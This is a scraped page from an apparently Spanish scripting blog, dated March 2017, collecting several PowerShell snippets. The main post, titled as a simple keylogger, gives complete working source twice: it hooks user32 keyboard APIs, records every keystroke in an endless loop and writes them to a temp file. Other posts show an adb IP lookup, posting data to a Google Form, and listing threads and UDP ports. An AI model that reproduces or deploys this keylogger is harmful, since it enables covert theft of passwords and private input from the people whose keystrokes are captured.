11/03/2017 | Scripting and security

#Declarar funciones
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

#Cargar las funciones declaradas
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try
{
    #Bucle infinito para capturar pulsación de teclas
    while(1)
    {
        #Para cada uno de los caracteres ASCII
        for ($ascii = 9; $ascii -le 254; $ascii++)
        {
            #Capturar key state
            $state = $API::GetAsyncKeyState($ascii)
            #Si se ha pulsado una tecla
            if ($state -eq -32767)
            {
                #Traducir el código
                $virtualKey = $API::MapVirtualKey($ascii, 3)
                $kbstate = New-Object Byte[] 256
                $checkkbstate = $API::GetKeyboardState($kbstate)
                $mychar = New-Object -TypeName System.Text.StringBuilder
                if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))
                {
                    #Almacenar la tecla pulsada
                    $value = [System.Text.Encoding]::Unicode.GetBytes($mychar)
                    [System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)
                }
            }
        }
    }
}
finally
{
    #Abrir el fichero con las teclas pulsadashola
    notepad $env:temp\keys.txt
}

#Declarar funciones

$signatures = @'

[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]

public static extern short GetAsyncKeyState(int virtualKeyCode);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int GetKeyboardState(byte[] keystate);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

#Cargar las funciones declaradas

$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try

{

#Bucle infinito para capturar pulsación de teclas

while(1)

{

#Para cada uno de los caracteres ASCII

for ($ascii = 9; $ascii -le 254; $ascii++)

{

#Capturar key state

$state = $API::GetAsyncKeyState($ascii)

#Si se ha pulsado una tecla

if ($state -eq -32767)

{

#Traducir el código

$virtualKey = $API::MapVirtualKey($ascii, 3)

$kbstate = New-Object Byte[] 256

$checkkbstate = $API::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName System.Text.StringBuilder

if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))

{

#Almacenar la tecla pulsada

$value = [System.Text.Encoding]::Unicode.GetBytes($mychar)

[System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)

}

finally

{

#Abrir el fichero con las teclas pulsadashola

notepad $env:temp\keys.txt

}

Android

Conocer la IP asignada al dispositivo Android con ADB

11/03/201704/03/2017

.\adb.exe shell netcfg | Select-String "rmnet_usb0"

1	.\adb.exe shell netcfg \| Select-String "rmnet_usb0"

Automation PowerShell

Enviar datos a un formulario de Google Docs desde PowerShell

11/03/201711/03/2017

Pasos: Crear formulario en Google Docs Ver nombre de la caja de texto del formulario Ejecutar script llamando método POST

$postParams = @{'entry.1681544078'='hola2'}
$web=Invoke-WebRequest -Uri 'https://docs.google.com/forms/d/e/1FAIpQLSdKkhEjsIRCAWGKCGKJN04OfYZGEI0PExx4KC44mZbwH6QJLw/formResponse' -Method Post -Body $postParams
$web.StatusCode

$postParams = @{'entry.1681544078'='hola2'}

$web=Invoke-WebRequest -Uri 'https://docs.google.com/forms/d/e/1FAIpQLSdKkhEjsIRCAWGKCGKJN04OfYZGEI0PExx4KC44mZbwH6QJLw/formResponse' -Method Post -Body $postParams

$web.StatusCode

Ver respuestas enviadas

Network PowerShell Processes Services Threads

Mostrar los hilos que se están ejecutando en relación con los servicios, los procesos y los puertos abiertos UDP

11/03/201704/03/2017

#Mostrar los hilos que se están ejecutando en relación con los servicios, los procesos y los puertos abiertos UDP
$i=0
(Get-WmiObject -Class Win32_Thread) | %{
$i++
Write-Host $i,$_.Handle,$_.ProcessHandle,(Get-WmiObject -Class Win32_Service | Where-Object State -EQ ‘Running’ | Where-Object ProcessId -EQ $_.ProcessHandle),(Get-Process -Id $_.ProcessHandle).ProcessName
Write-Host (Get-Process -Id $_.ProcessHandle).ProcessName,(Get-NetUDPEndpoint | where OwningProcess -EQ $_.ProcessHandle | select LocalPort,RemoteAddress,RemotePort,OwningProcess)
}

#Mostrar los hilos que se están ejecutando en relación con los servicios, los procesos y los puertos abiertos UDP

$i=0

(Get-WmiObject -Class Win32_Thread) | %{

$i++

Write-Host $i,$_.Handle,$_.ProcessHandle,(Get-WmiObject -Class Win32_Service | Where-Object State -EQ ‘Running’ | Where-Object ProcessId -EQ $_.ProcessHandle),(Get-Process -Id $_.ProcessHandle).ProcessName

Write-Host (Get-Process -Id $_.ProcessHandle).ProcessName,(Get-NetUDPEndpoint | where OwningProcess -EQ $_.ProcessHandle | select LocalPort,RemoteAddress,RemotePort,OwningProcess)

}

Scripts

Recopilación de Scripts día 11/03/2017

11/03/2017

Day: March 11, 2017

Keylogger sencillo con PowerShell

Conocer la IP asignada al dispositivo Android con ADB

Enviar datos a un formulario de Google Docs desde PowerShell

Mostrar los hilos que se están ejecutando en relación con los servicios, los procesos y los puertos abiertos UDP

Recopilación de Scripts día 11/03/2017